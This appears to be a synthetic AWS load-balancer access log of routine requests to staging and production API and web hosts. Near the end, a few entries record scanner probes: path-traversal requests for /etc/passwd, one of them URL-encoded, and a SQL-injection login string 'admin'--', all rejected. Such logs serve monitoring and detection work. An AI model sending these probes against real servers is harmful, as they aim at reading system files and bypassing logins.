0.116366 404 404 966 3998 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c78d-6dcd15ddd022451081169229" "staging-alb.example.com" "-" 10 2024-11-01T01:08:13.467412Z "forward" "-" "-" "43.53.165.79:80" "404" "-" "-" -https 2024-11-01T01:08:14.927901Z prod-api-alb 70.206.126.100:23002 10.0.207.96:443 0.024634 0.278916 0.042066 302 302 69 5940 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c78e-cef0e75b1fda4dbe995b4634" "prod-api-alb.example.com" "-" 8 2024-11-01T01:08:14.927901Z "forward" "-" "-" "10.0.207.96:443" "302" "-" "-" -https 2024-11-01T01:08:16.923319Z prod-api-alb 191.92.147.152:55524 10.0.185.226:443 0.095059 0.103668 0.069080 200 200 478 1907 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c790-6a92e8de538042baba43d5ce" "prod-api-alb.example.com" "-" 5 2024-11-01T01:08:16.923319Z "forward" "-" "-" "10.0.185.226:443" "200" "-" "-" -https 2024-11-01T01:08:17.477258Z prod-api-alb 195.85.81.200:61335 10.0.145.234:443 0.070895 0.430834 0.029396 200 200 438 13007 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c791-6501224b7f144a6e98233121" "prod-api-alb.example.com" "-" 2 2024-11-01T01:08:17.477258Z "forward" "-" "-" "10.0.145.234:443" "200" "-" "-" -https 2024-11-01T01:08:18.414366Z prod-api-alb 163.19.170.20:24371 10.0.107.111:443 0.053141 0.138996 0.044699 404 404 612 11366 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c792-295d41f2a06544f781aa26e8" "prod-api-alb.example.com" "-" 0 2024-11-01T01:08:18.414366Z "forward" "-" "-" "10.0.107.111:443" "404" "-" "-" -https 2024-11-01T01:08:20.382246Z prod-api-alb 207.149.148.246:13519 10.0.130.113:443 0.026724 0.246338 0.097795 200 200 720 2776 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c794-1a264e21f8d34e48853fb933" "prod-api-alb.example.com" "-" 7 2024-11-01T01:08:20.382246Z "forward" "-" "-" "10.0.130.113:443" "200" "-" "-" -https 2024-11-01T01:08:21.202418Z staging-alb 140.115.144.243:14781 84.55.93.85:80 0.059770 0.477051 0.069315 200 200 253 10230 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c795-d244718f4da34e138a548102" "staging-alb.example.com" "-" 4 2024-11-01T01:08:21.202418Z "forward" "-" "-" "84.55.93.85:80" "200" "-" "-" -http 2024-11-01T01:08:22.607174Z staging-alb 236.221.203.39:47297 181.212.51.240:80 0.134066 0.461297 0.020548 200 200 472 1685 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c796-c35cc4cbfbd44be6a3a871ae" "staging-alb.example.com" "-" 4 2024-11-01T01:08:22.607174Z "forward" "-" "-" "181.212.51.240:80" "200" "-" "-" -https 2024-11-01T01:08:24.020640Z prod-web-alb 118.76.210.121:52716 10.0.93.113:443 0.071415 0.498829 0.079787 301 301 748 8420 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c798-7d218d646200468e8bfb239f" "prod-web-alb.example.com" "-" 1 2024-11-01T01:08:24.020640Z "forward" "-" "-" "10.0.93.113:443" "301" "-" "-" -https 2024-11-01T01:08:25.670157Z prod-web-alb 225.178.0.209:46837 10.0.154.253:443 0.098760 0.155509 0.000167 301 301 563 12965 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c799-ffbb7f1d803042fca411ab25" "prod-web-alb.example.com" "-" 2 2024-11-01T01:08:25.670157Z "forward" "-" "-" "10.0.154.253:443" "301" "-" "-" -https 2024-11-01T01:08:26.074147Z prod-api-alb 35.166.190.226:18958 10.0.74.219:443 0.070892 0.446198 0.089842 200 200 678 12185 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c79a-3c2b3bcea3d644d9ae147fb0" "prod-api-alb.example.com" "-" 5 2024-11-01T01:08:26.074147Z "forward" "-" "-" "10.0.74.219:443" "200" "-" "-" -https 2024-11-01T01:08:26.553798Z staging-alb 132.28.162.249:10521 245.54.243.73:443 0.101742 0.619736 0.059987 404 404 619 12936 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c79a-c6f72dae7b624a2e869fe62a" "staging-alb.example.com" "-" 4 2024-11-01T01:08:26.553798Z "forward" "-" "-" "245.54.243.73:443" "404" "-" "-" -https 2024-11-01T01:08:27.286157Z prod-web-alb 104.34.124.244:62810 10.0.121.42:443 0.059105 0.165962 0.069734 200 200 355 6499 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c79b-cc768cbd83774abea6c57b91" "-" "-" 9 2024-11-01T01:08:27.286157Z "forward" "-" "-" "10.0.121.42:443" "200" "-" "-" -http 2024-11-01T01:08:27.696333Z staging-alb 169.27.95.39:62135 208.206.247.47:443 0.139440 0.545404 0.148788 200 200 62 9902 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c79b-5b5c9483e72c4ff1b3e41340" "staging-alb.example.com" "-" 5 2024-11-01T01:08:27.696333Z "forward" "-" "-" "208.206.247.47:443" "200" "-" "-" -http 2024-11-01T01:08:27.806106Z staging-alb 45.61.15.207:62639 254.32.155.154:80 0.122378 0.005169 0.055752 200 200 389 13978 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c79b-6f34260e4eef447586bd4431" "staging-alb.example.com" "-" 7 2024-11-01T01:08:27.806106Z "forward" "-" "-" "254.32.155.154:80" "200" "-" "-" -http 2024-11-01T01:08:28.326847Z staging-alb 67.124.34.179:26971 236.148.32.133:8080 0.106177 0.608969 0.142375 200 200 324 13247 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c79c-2e5a1e045816485a9c77b1da" "staging-alb.example.com" "-" 6 2024-11-01T01:08:28.326847Z "forward" "-" "-" "236.148.32.133:8080" "200" "-" "-" -https 2024-11-01T01:08:29.734089Z prod-api-alb 151.61.114.229:26573 10.0.92.91:443 0.090910 0.248160 0.047914 302 302 54 6217 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c79d-0d99f4f7aec14365b7522c8b" "prod-api-alb.example.com" "-" 2 2024-11-01T01:08:29.734089Z "forward" "-" "-" "10.0.92.91:443" "302" "-" "-" -https 2024-11-01T01:08:30.482959Z prod-api-alb 126.157.109.158:14159 10.0.114.22:443 0.057708 0.143844 0.081376 200 200 912 13637 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c79e-566b586ce7234eea938f0419" "prod-api-alb.example.com" "-" 10 2024-11-01T01:08:30.482959Z "forward" "-" "-" "10.0.114.22:443" "200" "-" "-" -https 2024-11-01T01:08:30.849103Z staging-alb 243.6.171.134:61437 15.209.164.172:80 0.138123 0.402743 0.054722 301 301 274 9615 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c79e-fb79c15eaf8a432c90c96da1" "staging-alb.example.com" "-" 1 2024-11-01T01:08:30.849103Z "forward" "-" "-" "15.209.164.172:80" "301" "-" "-" -https 2024-11-01T01:08:32.596535Z staging-alb 219.143.189.157:30554 250.55.159.233:80 0.076822 0.315646 0.007519 301 301 57 11029 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7a0-48829116070e40ed8b01b6c8" "staging-alb.example.com" "-" 9 2024-11-01T01:08:32.596535Z "forward" "-" "-" "250.55.159.233:80" "301" "-" "-" -https 2024-11-01T01:08:33.419060Z staging-alb 29.170.132.24:42124 244.37.70.206:443 0.073593 0.726213 0.127015 200 200 717 6324 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7a1-e118ebcd11c14a29b15423cd" "staging-alb.example.com" "-" 7 2024-11-01T01:08:33.419060Z "forward" "-" "-" "244.37.70.206:443" "200" "-" "-" -https 2024-11-01T01:08:34.894391Z staging-alb 232.31.22.237:47945 20.21.47.127:80 0.112878 0.417621 0.057227 200 200 367 1288 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7a2-d05a6b35ff4c4e7f9876f6ec" "staging-alb.example.com" "-" 3 2024-11-01T01:08:34.894391Z "forward" "-" "-" "20.21.47.127:80" "200" "-" "-" -http 2024-11-01T01:08:35.688620Z staging-alb 243.138.34.208:51431 67.29.173.250:80 0.077363 0.367034 0.127733 200 200 8 9901 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7a3-fb4ae8971c094f939f42d63b" "staging-alb.example.com" "-" 1 2024-11-01T01:08:35.688620Z "forward" "-" "-" "67.29.173.250:80" "200" "-" "-" -https 2024-11-01T01:08:35.832904Z prod-web-alb 120.51.108.14:41127 10.0.76.197:443 0.069396 0.243119 0.029075 404 404 309 4616 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7a3-fa2dc5c93945424490ecaf59" "prod-web-alb.example.com" "-" 10 2024-11-01T01:08:35.832904Z "forward" "-" "-" "10.0.76.197:443" "404" "-" "-" -https 2024-11-01T01:08:37.574286Z prod-api-alb 4.98.8.26:48618 10.0.32.180:443 0.078843 0.468506 0.009545 200 200 333 11533 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7a5-e557042ba6414b11803e5934" "prod-api-alb.example.com" "-" 6 2024-11-01T01:08:37.574286Z "forward" "-" "-" "10.0.32.180:443" "200" "-" "-" -http 2024-11-01T01:08:39.564356Z staging-alb 113.198.108.126:49328 55.201.24.44:8080 0.105583 0.486676 0.096207 200 200 483 6734 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7a7-6c52c8df79314fa19f3fe125" "staging-alb.example.com" "-" 9 2024-11-01T01:08:39.564356Z "forward" "-" "-" "55.201.24.44:8080" "200" "-" "-" -https 2024-11-01T01:08:41.399447Z prod-api-alb 250.55.6.136:40693 10.0.107.241:443 0.088474 0.301224 0.080429 200 200 676 6056 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7a9-ef9657463e0a42ae92eff319" "prod-api-alb.example.com" "-" 6 2024-11-01T01:08:41.399447Z "forward" "-" "-" "10.0.107.241:443" "200" "-" "-" -http 2024-11-01T01:08:41.865141Z staging-alb 249.134.119.206:43999 21.138.211.154:8080 0.014497 0.737735 0.076373 200 200 778 3026 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7a9-811d36e3b8ea445db7ddcbcb" "staging-alb.example.com" "-" 7 2024-11-01T01:08:41.865141Z "forward" "-" "-" "21.138.211.154:8080" "200" "-" "-" -https 2024-11-01T01:08:42.064030Z prod-api-alb 218.167.193.59:34821 10.0.80.25:443 0.035304 0.335811 0.049868 200 200 178 13157 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7aa-71b53233efb649ba93ab6e9e" "prod-api-alb.example.com" "-" 2 2024-11-01T01:08:42.064030Z "forward" "-" "-" "10.0.80.25:443" "200" "-" "-" -http 2024-11-01T01:08:43.151903Z staging-alb 21.46.88.216:10783 141.130.252.54:8080 0.043059 0.435930 0.045626 404 404 921 613 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7ab-707b53e791434ab1847a9dd9" "staging-alb.example.com" "-" 2 2024-11-01T01:08:43.151903Z "forward" "-" "-" "141.130.252.54:8080" "404" "-" "-" -https 2024-11-01T01:08:43.357759Z prod-api-alb 23.86.183.13:39053 10.0.74.97:443 0.009569 0.401386 0.040708 302 302 300 11873 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7ab-282f5bb8ef6344ee9f118717" "prod-api-alb.example.com" "-" 8 2024-11-01T01:08:43.357759Z "forward" "-" "-" "10.0.74.97:443" "302" "-" "-" -https 2024-11-01T01:08:44.622675Z prod-web-alb 0.21.226.99:26133 10.0.37.134:443 0.088731 0.374667 0.053018 200 200 346 5516 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7ac-ba434b41e9384c47a29a9ff8" "prod-web-alb.example.com" "-" 10 2024-11-01T01:08:44.622675Z "forward" "-" "-" "10.0.37.134:443" "200" "-" "-" -https 2024-11-01T01:08:45.701246Z prod-web-alb 127.27.218.156:50712 10.0.7.188:443 0.086361 0.453953 0.075904 200 200 910 14328 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7ad-b1df977d0bc2425da961c6d2" "prod-web-alb.example.com" "-" 6 2024-11-01T01:08:45.701246Z "forward" "-" "-" "10.0.7.188:443" "200" "-" "-" -https 2024-11-01T01:08:45.802974Z prod-api-alb 8.77.146.180:16612 10.0.79.60:443 0.013860 0.346508 0.040610 200 200 99 4981 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7ad-7fc1ce409a714f6f8de289a7" "prod-api-alb.example.com" "-" 7 2024-11-01T01:08:45.802974Z "forward" "-" "-" "10.0.79.60:443" "200" "-" "-" -https 2024-11-01T01:08:47.182808Z prod-web-alb 154.32.178.96:60676 10.0.157.103:443 0.068661 0.011576 0.053730 200 200 958 8696 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7af-9130e7655e9641f28160bc04" "prod-web-alb.example.com" "-" 2 2024-11-01T01:08:47.182808Z "forward" "-" "-" "10.0.157.103:443" "200" "-" "-" -http 2024-11-01T01:08:48.616744Z staging-alb 185.181.15.100:45985 146.105.32.92:8080 0.135895 0.588571 0.143765 301 301 366 9029 "GET /admin HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7b0-e45153af5a1945d29e9ef66c" "-" "-" 6 2024-11-01T01:08:48.616744Z "forward" "-" "-" "146.105.32.92:8080" "301" "-" "-" -https 2024-11-01T01:08:48.879002Z prod-api-alb 45.155.205.51:34508 10.0.224.102:443 0.094011 0.325655 0.065153 404 404 223 1470 "GET /../../../etc/passwd HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7b0-e8bca422d99a4e1396f12c2e" "-" "-" 5 2024-11-01T01:08:48.879002Z "forward" "-" "-" "10.0.224.102:443" "404" "-" "-" -https 2024-11-01T01:08:49.024675Z prod-api-alb 160.211.61.205:57887 10.0.140.57:443 0.089338 0.217460 0.066148 200 200 105 7263 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7b1-ff4decfbd9e44b5590b3bade" "prod-api-alb.example.com" "-" 2 2024-11-01T01:08:49.024675Z "forward" "-" "-" "10.0.140.57:443" "200" "-" "-" -https 2024-11-01T01:08:49.188946Z prod-web-alb 89.54.88.220:17556 10.0.46.4:443 0.005452 0.374875 0.024037 200 200 398 14733 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7b1-b25ba9c8b151439fbc133c1e" "prod-web-alb.example.com" "-" 9 2024-11-01T01:08:49.188946Z "forward" "-" "-" "10.0.46.4:443" "200" "-" "-" -https 2024-11-01T01:08:49.742263Z staging-alb 161.36.105.217:14232 75.69.99.222:443 0.125477 0.047602 0.108298 200 200 943 4702 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7b1-a062f5d186a44a10ad669a0b" "staging-alb.example.com" "-" 0 2024-11-01T01:08:49.742263Z "forward" "-" "-" "75.69.99.222:443" "200" "-" "-" -http 2024-11-01T01:08:50.077109Z staging-alb 21.124.16.134:26578 129.13.39.38:443 0.091139 0.097836 0.098100 302 302 764 9663 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7b2-294b90c1b5bf4f5cbab2a42a" "staging-alb.example.com" "-" 4 2024-11-01T01:08:50.077109Z "forward" "-" "-" "129.13.39.38:443" "302" "-" "-" -https 2024-11-01T01:08:51.562872Z staging-alb 228.128.50.75:17757 63.164.36.85:8080 0.013022 0.570209 0.001207 200 200 935 1454 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7b3-3782b1e2ff3649f39d98f63d" "staging-alb.example.com" "-" 8 2024-11-01T01:08:51.562872Z "forward" "-" "-" "63.164.36.85:8080" "200" "-" "-" -https 2024-11-01T01:08:52.600063Z staging-alb 109.20.27.63:41940 66.151.147.156:80 0.091363 0.505847 0.000616 301 301 313 11192 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7b4-ddf19a7a69e74d819f91912f" "staging-alb.example.com" "-" 3 2024-11-01T01:08:52.600063Z "forward" "-" "-" "66.151.147.156:80" "301" "-" "-" -https 2024-11-01T01:08:53.097082Z prod-web-alb 193.27.228.131:14078 10.0.104.9:443 0.052348 0.243680 0.075946 403 403 103 3636 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7b5-6143e8dd1fb84b409dcddc61" "-" "-" 10 2024-11-01T01:08:53.097082Z "forward" "-" "-" "10.0.104.9:443" "403" "-" "-" -https 2024-11-01T01:08:54.090825Z prod-api-alb 134.252.81.219:46604 10.0.191.209:443 0.037282 0.147629 0.067807 404 404 1 3949 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7b6-c0d807e8bcb9482f8cd32381" "prod-api-alb.example.com" "-" 7 2024-11-01T01:08:54.090825Z "forward" "-" "-" "10.0.191.209:443" "404" "-" "-" -https 2024-11-01T01:08:55.313288Z prod-api-alb 193.27.228.135:11292 10.0.109.92:443 0.014789 0.329577 0.024693 404 404 11 2339 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7b7-598485c3194343a387a1f396" "-" "-" 3 2024-11-01T01:08:55.313288Z "forward" "-" "-" "10.0.109.92:443" "404" "-" "-" -https 2024-11-01T01:08:56.507540Z prod-web-alb 46.180.245.239:20289 10.0.150.3:443 0.059858 0.004707 0.025214 200 200 401 2755 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7b8-d3018fa248a5444ca046c3ab" "prod-web-alb.example.com" "-" 4 2024-11-01T01:08:56.507540Z "forward" "-" "-" "10.0.150.3:443" "200" "-" "-" -https 2024-11-01T01:08:57.404838Z prod-web-alb 252.51.159.78:58972 10.0.242.23:443 0.066707 0.136628 0.077893 200 200 924 13600 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7b9-5fff680a92e34b3380e59b43" "prod-web-alb.example.com" "-" 7 2024-11-01T01:08:57.404838Z "forward" "-" "-" "10.0.242.23:443" "200" "-" "-" -https 2024-11-01T01:08:58.462866Z prod-web-alb 155.181.92.33:33262 10.0.133.120:443 0.045413 0.353356 0.020989 200 200 795 9091 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 